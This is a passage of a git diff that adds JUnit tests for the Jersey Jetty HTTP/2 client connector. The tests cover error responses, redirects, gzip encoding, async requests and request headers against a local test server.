+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.ClientErrorException;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ErrorTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(ErrorResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+
+ @Path("/test")
+ public static class ErrorResource {
+ @POST
+ public Response post(String entity) {
+ return Response.serverError().build();
+ }
+
+ @Path("entity")
+ @POST
+ public Response postWithEntity(String entity) {
+ return Response.serverError().entity("error").build();
+ }
+ }
+
+ @Test
+ public void testPostError() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntity() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ }
+ }
+ }
+
+ @Test
+ public void testPostErrorWithEntityAsync() {
+ WebTarget r = target("test");
+
+ for (int i = 0; i < 100; i++) {
+ try {
+ r.request().async().post(Entity.text("POST"));
+ } catch (ClientErrorException ex) {
+ String s = ex.getResponse().readEntity(String.class);
+ assertEquals("error", s);
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
new file mode 100644
index 0000000..2604f9b
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java
@@ -0,0 +1,129 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientResponse;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+import java.io.IOException;
+import java.net.URI;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class FollowRedirectsTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
+
+ @Path("/test")
+ public static class RedirectResource {
+ @GET
+ public String get() {
+ return "GET";
+ }
+
+ @GET
+ @Path("redirect")
+ public Response redirect() {
+ return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(RedirectResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ private static class RedirectTestFilter implements ClientResponseFilter {
+ public static final String RESOLVED_URI_HEADER = "resolved-uri";
+
+ @Override
+ public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
+ if (responseContext instanceof ClientResponse) {
+ ClientResponse clientResponse = (ClientResponse) responseContext;
+ responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString());
+ }
+ }
+ }
+
+ @Test
+ public void testDoFollow() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client c = ClientBuilder.newClient(config);
+ WebTarget t = c.target(u);
+ Response r = t.path("test/redirect")
+ .register(RedirectTestFilter.class)
+ .request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ c.close();
+ }
+
+ @Test
+ public void testDoFollowPerRequestOverride() {
+ WebTarget t = target("test/redirect");
+ t.property(ClientProperties.FOLLOW_REDIRECTS, true);
+ Response r = t.request().get();
+ assertEquals(200, r.getStatus());
+ assertEquals("GET", r.readEntity(String.class));
+ }
+
+ @Test
+ public void testDontFollow() {
+ WebTarget t = target("test/redirect");
+ assertEquals(303, t.request().get().getStatus());
+ }
+
+ @Test
+ public void testDontFollowPerRequestOverride() {
+ final URI u = target().getUri();
+ ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget t = client.target(u);
+ t.property(ClientProperties.FOLLOW_REDIRECTS, false);
+ Response r = t.path("test/redirect").request().get();
+ assertEquals(303, r.getStatus());
+ client.close();
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
new file mode 100644
index 0000000..29bb444
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.message.GZipEncoder;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.Arrays;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class GZIPContentEncodingTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ @Path("/")
+ public static class Resource {
+
+ @POST
+ public byte[] post(byte[] content) {
+ return content;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(Resource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(GZipEncoder.class);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ WebTarget r = target();
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
+ assertTrue(cr.hasEntity());
+ cr.close();
+ }
+
+ @Test
+ public void testPostChunked() {
+ ClientConfig config = new ClientConfig();
+ config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+ byte[] content = new byte[1024 * 1024];
+ assertTrue(Arrays.equals(content,
+ r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
+
+ Response cr = r.request().post(Entity.text("POST"));
+ assertTrue(cr.hasEntity());
+ cr.close();
+
+ client.close();
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
new file mode 100644
index 0000000..ac6870a
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java
@@ -0,0 +1,220 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.InvocationCallback;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HelloWorldTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
+ private static final String ROOT_PATH = "helloworld";
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testConnection() {
+ Response response = target().path(ROOT_PATH).request("text/plain").get();
+ assertEquals(200, response.getStatus());
+ }
+
+ @Test
+ public void testClientStringResponse() {
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ }
+
+ @Test
+ public void testAsyncClientRequests() throws InterruptedException {
+ final int REQUESTS = 20;
+ final CountDownLatch latch = new CountDownLatch(REQUESTS);
+ final long tic = System.currentTimeMillis();
+ for (int i = 0; i < REQUESTS; i++) {
+ final int id = i;
+ target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
+ @Override
+ public void completed(Response response) {
+ try {
+ final String result = response.readEntity(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
+ } finally {
+ latch.countDown();
+ }
+ }
+
+ @Override
+ public void failed(Throwable error) {
+ error.printStackTrace();
+ latch.countDown();
+ }
+ });
+ }
+ latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
+ final long toc = System.currentTimeMillis();
+ Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
+ }
+
+ @Test
+ public void testHead() {
+ Response response = target().path(ROOT_PATH).request().head();
+ assertEquals(200, response.getStatus());
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals("foo/bar", response.getMediaType().toString());
+ assertEquals(0, response.getLength());
+ }
+
+ @Test
+ public void testTextPlainOptions() {
+ Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
+ final String responseBody = response.readEntity(String.class);
+ _checkAllowContent(responseBody);
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+ @Test
+ public void testMissingResourceNotFound() {
+ Response response;
+
+ response = target().path(ROOT_PATH + "arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+
+ response = target().path(ROOT_PATH).path("arbitrary").request().get();
+ assertEquals(404, response.getStatus());
+ response.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientClass() {
+ Client client = client();
+ client.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterClientInstance() {
+ Client client = client();
+ client.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+ @Test
+ public void testLoggingFilterTargetClass() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(CustomLoggingFilter.class).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testLoggingFilterTargetInstance() {
+ WebTarget target = target().path(ROOT_PATH);
+ target.register(new CustomLoggingFilter()).property("foo", "bar");
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target.request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ }
+
+ @Test
+ public void testConfigurationUpdate() {
+ Client client1 = client();
+ client1.register(CustomLoggingFilter.class).property("foo", "bar");
+
+ Client client = ClientBuilder.newClient(client1.getConfiguration());
+ CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
+ String s = target().path(ROOT_PATH).request().get(String.class);
+ assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
+ assertEquals(1, CustomLoggingFilter.preFilterCalled);
+ assertEquals(1, CustomLoggingFilter.postFilterCalled);
+ client.close();
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
new file mode 100644
index 0000000..71b1361
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.spi.ConnectorProvider;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Tests the HTTP2 presence.
+ *
+ */
+public class Http2PresenceTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @POST
+ public String post(
+ @HeaderParam("Transfer-Encoding") String transferEncoding,
+ @HeaderParam("X-CLIENT") String xClient,
+ @HeaderParam("X-WRITER") String xWriter,
+ String entity) {
+ assertEquals("client", xClient);
+ return "POST";
+ }
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+ assertEquals(200, response.getStatus());
+ assertTrue(response.hasEntity());
+ }
+
+ @Test
+ public void testHttp2Presence() {
+ final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
+ assertTrue(provider instanceof JettyHttp2ConnectorProvider);
+
+ final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target());
+ assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2);
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
new file mode 100644
index 0000000..cb3b319
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.HeaderParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.List;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class HttpHeadersTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
+
+ @Path("/test")
+ public static class HttpMethodResource {
+ @POST
+ public String post(
+ @HeaderParam("Transfer-Encoding") String transferEncoding,
+ @HeaderParam("X-CLIENT") String xClient,
+ @HeaderParam("X-WRITER") String xWriter,
+ String entity) {
+ assertEquals("client", xClient);
+ return "POST";
+ }
+
+ @GET
+ public String testUserAgent(@Context HttpHeaders httpHeaders) {
+ final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
+ if (requestHeader.size() != 1) {
+ return "FAIL";
+ }
+ return requestHeader.get(0);
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
+
+ assertEquals(200, response.getStatus());
+ assertTrue(response.hasEntity());
+ }
+
+ /**
+ * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
+ */
+ @Test
+ public void testUserAgent() {
+ String response = target().path("test").request().get(String.class);
+ assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
new file mode 100644
index 0000000..215408b
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
@@ -0,0 +1,250 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ClientBinding;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.Uri;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.DynamicFeature;
+import jakarta.ws.rs.container.ResourceInfo;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.FeatureContext;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import java.io.IOException;
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class ManagedClientTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
+
+ /**
+ * Managed client configuration for client A.
+ */
+ @ClientBinding(configClass = MyClientAConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public static @interface ClientA {
+ }
+
+ /**
+ * Managed client configuration for client B.
+ */
+ @ClientBinding(configClass = MyClientBConfig.class)
+ @Documented
+ @Retention(RetentionPolicy.RUNTIME)
+ @Target({ElementType.FIELD, ElementType.PARAMETER})
+ public @interface ClientB {
+ }
+
+ /**
+ * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
+ * to every method that is annotated with {@link Require @Require} internal feature
+ * annotation.
+ */
+ public static class CustomHeaderFeature implements DynamicFeature {
+
+ /**
+ * A method annotation to be placed on those resource methods to which a validating
+ * {@link CustomHeaderFilter} instance should be added.
+ */
+ @Retention(RetentionPolicy.RUNTIME)
+ @Documented
+ @Target(ElementType.METHOD)
+ public static @interface Require {
+
+ /**
+ * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerName();
+
+ /**
+ * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
+ */
+ public String headerValue();
+ }
+
+ @Override
+ public void configure(ResourceInfo resourceInfo, FeatureContext context) {
+ final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
+ if (va != null) {
+ context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
+ }
+ }
+ }
+
+ /**
